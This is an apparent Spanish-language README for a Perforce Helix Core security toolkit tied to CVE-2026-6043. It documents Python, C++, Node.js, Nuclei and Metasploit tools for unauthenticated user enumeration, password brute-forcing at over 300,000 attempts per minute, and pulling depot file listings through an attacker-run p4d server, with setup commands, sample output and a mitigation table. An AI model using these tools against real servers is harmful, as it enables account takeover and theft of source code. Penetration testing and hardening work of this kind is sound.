
Investigación y herramientas de seguridad de Perforce - CVE-2026-6043
Herramientas de investigación de seguridad de Perforce (Helix Core) y plantillas de nuclei.
Artículo de investigación: https://morganrobertson.net/p4wned/
Lea el artículo para obtener todos los detalles.
Solo para objetivos autorizados. Úselo en sus propios servidores o con permiso explícito por escrito.
Público objetivo: Administradores de servidores Perforce, testers de penetración, ingenieros de seguridad
Actualización de mayo de 2026: Perforce 2026.1 ha sido lanzado. ¡Esta versión viene con valores predeterminados seguros! Muy contento de ver esto publicado para proteger la propiedad intelectual de los desarrolladores. Lea más aquí.
Nota: Estas herramientas escanean las configuraciones incorrectas resultantes de CVE-2026-6043.
| Herramienta | Requiere |
|---|---|
p4wned.py | Python 3, binario de CLI p4 (ver abajo) |
p4ghost.py | Python 3, binario de CLI p4, instancia local de p4d (ver configuración abajo) |
p4-auth-hammer | g++, API C++ de Perforce, OpenSSL 1.1.1 (ver p4-auth-hammer/README.md) |
| Herramientas JavaScript | Node.js (sin dependencias externas) |
| Plantillas Nuclei | Nuclei v3+ |
| Módulos Metasploit | Metasploit Framework |
Obtención del binario p4 (requerido por p4wned.py y p4ghost.py):
# Sujeto a los términos de uso de Perforce: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4
Los servidores Perforce exponen un protocolo TCP binario personalizado (puerto predeterminado 1666). Muchas instalaciones vienen con configuraciones inseguras por defecto: listado de usuarios sin autenticación, divulgación de información del servidor, depósitos remotos accesibles, ausencia de requisitos de contraseña y sin limitación de velocidad en los intentos de inicio de sesión. Todas las herramientas aquí explotan estas configuraciones predeterminadas sin requerir credenciales.
El escáner principal. Utiliza el binario de CLI p4 para enumerar usuarios, probar credenciales, listar depósitos y generar un informe.
python3 p4wned.py [-brute] [-audit] [-parallel N]
Opciones:
| Bandera | Descripción |
|---|---|
-brute | Habilita el modo de fuerza bruta: prueba contraseñas contra todas las cuentas de usuario descubiertas |
-audit | Modo de auditoría exhaustiva: continúa probando todos los usuarios incluso después de encontrar una vulnerabilidad |
-parallel N | Número de intentos de contraseña en paralelo (predeterminado: 1) |
Configuración (editar al inicio del script):
Lo que hace:
run.users.authorize=0)super en cuentas comprometidasSalida de consola:
$ python3 p4wned.py
___ _ _ __ __ __ __ ___
/ _ \ || |/ / /\ \ \/\ \ \/__\/ \
/ /_)/ || |\ \/ \/ / \/ /_\ / /\ /
/ ___/|__ _\ /\ / /\ //__/ /_//
\/ |_| \/ \/\_\ \/\__/___,'
P4WNED - 0wning P4 servers via shit security defaults since Y2K+25
· Detecta cuentas de usuario, contraseñas en blanco, credenciales débiles y configuraciones tontas.
· Confirma el acceso a depósitos y esas jugosas cuentas de usuario "super".
· Genera un informe ordenado para que puedas arreglar el desastre antes de que lleguen los Skids
Solo para objetivos autorizados, brotendo. Úselo en sus propios servidores o bajo su propio riesgo.
==============================================================================
=== Procesando: 192.0.2.10:1666 (perforce.example-studio.com) ===
[INFO] Probando usuario 'super' por problemas de seguridad...
[INFO] El usuario 'super' no existe.
[INFO] Listado de usuarios accesible: build, designer1, jsmith, lead_prog, svc_build
[INFO] Probando usuario 'build' por problemas de seguridad...
[INFO] Probando usuario 'designer1' por problemas de seguridad...
[INFO] Probando usuario 'jsmith' por problemas de seguridad...
[INFO] Probando usuario 'lead_prog' por problemas de seguridad...
[INFO] Probando usuario 'svc_build' por problemas de seguridad...
[INFO] Se agregó nueva credencial para 192.0.2.10:1666: usuario='svc_build', contraseña='None'
[INFO] Guardando credenciales actualizadas después de encontrar credenciales válidas para svc_build en 192.0.2.10:1666
[INFO] Informe guardado en perforce-report-p4wned-1775436520.txt
Archivo de informe (perforce-report-p4wned-*.txt):
Perforce Security Scan Report
Server: 192.0.2.10:1666 (perforce.example-studio.com)
Status: Insecure
Note: Insecure via user 'svc_build' (no password)
== Depots ==
Depot depot 2025/11/03 local depot/... 'Default depot'
Depot assets 2024/08/19 local assets/... 'Asset depot'
== Last 10 Changes ==
Change 1047 on 2025/11/03 14:22:11 by lead_prog@DESKTOP-BUILD01
Merge branch feature/ai-pathfinding
Change 1046 on 2025/11/03 09:44:38 by designer1@DESKTOP-ART02
Updated character rig exports
== Depot Details ==
Depot: depot
-- Root Directories --
//depot/Source
//depot/Content
//depot/Config
This depot is a non-Unreal Engine Depot.
------------------------------------------------------------
Summary Report
Server: 192.0.2.10:1666 - Insecure - Note: Insecure via user 'svc_build' (no password)
Prueba el acceso no autenticado a depósitos remotos a través del usuario oculto remote. El exploit funciona ejecutando una instancia local de p4d controlada por el atacante; el servidor objetivo se conecta de vuelta a ella como parte del protocolo servidor a servidor, filtrando el listado de archivos del depósito en el proceso.
Configuración (una vez):
# Sujeto a los términos de uso de Perforce: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4
# Iniciar un p4d ASCII simple en el puerto 1818 (usado como servidor del atacante)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d
# Iniciar un p4d unicode en un puerto separado (1819) para objetivos unicode
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi # convertir a modo unicode
./p4d -r ./p4root_attacker_unicode -p 1819 -d
python3 p4ghost.py <archivo_entrada> [-skipnolicense] [-report ARCHIVO] [-p4cmd RUTA]
[-unicodeport PUERTO] [-nonunicodeport PUERTO] [-timeout SEGS]
# Ejemplo de invocación usando los servidores atacantes locales anteriores
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819
Argumentos:
Versiones afectadas: Todas las versiones anteriores a 2025.1 con security < 4 (el valor predeterminado es 0).
Prueba de concepto que demuestra que p4d no limita eficazmente la velocidad de los intentos de autenticación cuando security < 3. Logra >300.000 intentos de inicio de sesión por minuto contra una sola cuenta utilizando la API C++ de Perforce.
./p4_auth_hammer_poc <servidor:puerto> <nombre_usuario> <archivo_contraseñas> [-ticketauth]
Compilación (requiere API C++ de Perforce y OpenSSL 1.1.1 — consulte p4-auth-hammer/README.md para la configuración completa):
bash p4-auth-hammer/p4_auth_hammer_poc_build.sh
Modos:
security < 3). La limitación de velocidad se evade por completo. >300.000 intentos/min.-ticketauth: inicio de sesión basado en ticket (security >= 3). La limitación de velocidad (dm.user.loginattempts) está activa en este nivel.Detecta automáticamente servidores SSL y unicode. Ajusta automáticamente el número de hilos para máximo rendimiento.
Mitigación: p4 configure set security=3 (o 4). Consulte p4-auth-hammer/README.md para más detalles.
Scripts independientes de Node.js. Sin dependencias más allá de la biblioteca estándar de Node.js. Todos los scripts detectan automáticamente el modo SSL vs TCP plano y ASCII vs unicode del servidor, sin necesidad de banderas.
Formato del archivo de objetivos: host:puerto uno por línea, el puerto predeterminado es 1666 si se omite. Las líneas que comienzan con # se ignoran.
p4testascii.example.net:1666
p4testunicode.example.net:1666
p4testunicode.example.net:1667
Detección automática: Se intenta TCP plano primero. Si el servidor responde con el mensaje de error SSL de Perforce ("Failed client connect, server using SSL"), la conexión se reintenta sobre TLS con rejectUnauthorized: false (acepta certificados autofirmados). Se intenta el modo ASCII primero; si el servidor devuelve el mensaje de error unicode, la conexión se reintenta con el parámetro unicode.
Explota run.users.authorize=0 (predeterminado) para listar todas las cuentas de usuario sin autenticación.
node javascript/perforce-users.js [archivo_objetivos]
Salida: [host:port] [tcp|ssl] username <email> "Full Name"
Explota dm.info.hide=0 (predeterminado) para extraer la versión del servidor, dirección interna, ruta raíz y cadena de licencia.
node javascript/perforce-info.js [archivo_objetivos]
Salida:
[host:port] [tcp|ssl]
Version : P4D/LINUX26X86_64/2024.2/2877946
Server Addr: internal-hostname:1666
Server Root: /opt/perforce/p4root
License : Acme Corp
Encuentra cuentas de usuario sin contraseña establecida. Utiliza el formato de salida etiquetado (parámetro tag) para detectar la ausencia del campo Password en los registros de usuario. Las cuentas sin contraseña permiten el inicio de sesión directo sin autenticación.
node javascript/perforce-passwordless.js [archivo_objetivos]
Salida: [host:port] [tcp|ssl] [PASSWORDLESS] username <email> "Full Name"
Explota el usuario oculto remote a través del RPC servidor a servidor rmt-DbPipe para leer directamente la tabla db.rev, extrayendo rutas de archivos del depósito y números de cambio sin autenticación. Versiones afectadas: anteriores a 2025.1 con security < 4.
node javascript/perforce-remote.js [archivo_objetivos]
Salida:
[host:port] [tcp|ssl] 42 file(s) in depot:
[change=7] [2024-11-03] //depot/src/main.cpp
[change=3] [2024-09-12] //depot/config/database.yml
Extrae valores de claves/contadores globales de servidores Perforce. Las claves pueden contener números de compilación, cadenas de versión internas y configuración.
node javascript/perforce-keys.js [archivo_objetivos]
Salida: [host:port] [tcp|ssl] keyname = value
Plantillas para Nuclei. Todas las plantillas usan un paso de compuerta TCP para confirmar la presencia de un servidor Perforce antes de ejecutar el payload JavaScript. Las plantillas utilizan el mismo enfoque de detección automática que las herramientas JavaScript.
nuclei -t nuclei-templates/ -u objetivo:1666
nuclei -t nuclei-templates/ -l objetivos.txt
| Plantilla | ID | Descripción |
|---|---|---|
perforce-detect.yaml | perforce-detection | Detecta servidores Perforce mediante handshake de protocolo binario. Severidad: info. |
Limitaciones: Sin soporte SSL, solo puerto 1666. Consulte las herramientas javascript para más opciones.
Tres módulos de escáner auxiliares para Metasploit Framework, más una biblioteca mixin compartida que maneja el protocolo binario de Perforce. Estos módulos cubren las mismas vulnerabilidades que las herramientas independientes anteriores: enumeración de usuarios, detección de cuentas sin contraseña y explotación de depósitos remotos.
Todos los módulos detectan automáticamente el modo de servidor ASCII vs unicode. Se admite SSL.
| Módulo | Descripción |
|---|---|
Los archivos fuente están en el directorio metasploit/. Se ha enviado un PR al Metasploit Framework.
Referencia rápida de mitigación:
| Variable | Descripción |
|---|
INPUT_FILE | Lista de objetivos (ip:puerto, uno por línea) — predeterminado perforce-servers.txt |
P4_CMD | Ruta al binario p4 — predeterminado ./p4 |
TOP_PASSWORDS_FILE | Lista de palabras para fuerza bruta — predeterminado top-passwords.txt |
KNOWN_CREDS_FILE | Pares de credenciales conocidas para probar primero |
REPORT_FILE | Ruta del informe de salida |
| Bandera | Descripción |
|---|
archivo_entrada | Lista de objetivos (ip:puerto, uno por línea) |
-skipnolicense | Omitir servidores que devuelven Server license: none |
-report ARCHIVO | Ruta del informe de salida |
-p4cmd RUTA | Ruta al binario p4 (predeterminado ./p4) |
-unicodeport PUERTO | Puerto local p4d unicode para usar como servidor del atacante |
-nonunicodeport PUERTO | Puerto local p4d no unicode |
-timeout SEGS | Tiempo de espera del comando |
| Plantilla | ID | Severidad | CVSS | Descripción |
|---|
perforce-user-extraction.yaml | perforce-user-enumeration | Media | 5.3 | Listado de usuarios sin autenticación — servidores ASCII y unicode. Extrae nombres de usuario, correos electrónicos, nombres completos. |
perforce-info-disclosure.yaml | perforce-info-disclosure | Media | 5.3 | Divulgación de información del servidor — versión, dirección interna, ruta raíz, licencia. |
perforce-passwordless-users.yaml | perforce-passwordless-users | Crítica | 9.1 | Encuentra cuentas sin contraseña establecida. |
perforce-remote-depot-unauth.yaml | perforce-remote-depot-access-unauth | Alta | 7.5 | Acceso a depósitos remotos a través del usuario remote — servidores ASCII y unicode. Extrae rutas de archivos y números de cambio. Afectado: < 2025.1 con security < 4. |
auxiliary/scanner/perforce/perforce_user_enum| Listado de usuarios sin autenticación — extrae nombres de usuario, correos electrónicos, nombres completos y últimas horas de acceso. |
auxiliary/scanner/perforce/perforce_passwordless | Detecta cuentas sin contraseña establecida. |
auxiliary/scanner/perforce/perforce_remote_depot | Enumeración de archivos de depósitos remotos a través del usuario oculto remote. Afectado: < 2025.1 con security < 4. |
| Hallazgo | Solución |
|---|
| Enumeración de usuarios | p4 configure set run.users.authorize=1 |
| Divulgación de información | p4 configure set dm.info.hide=1 |
| Usuarios sin contraseña | Establecer contraseñas para todas las cuentas; p4 configure set dm.user.noautocreate=2 |
| Acceso a depósitos remotos | Actualizar a 2025.1+, o p4 configure set security=4 |
| Limitación de velocidad de autenticación | p4 configure set security=3 (habilita bloqueo efectivo mediante dm.user.loginattempts) |
| Todo lo anterior | p4 configure set security=4 más las configuraciones individuales anteriores — security=4 corrige el exploit remoto pero no oculta los listados de usuarios ni la información del servidor |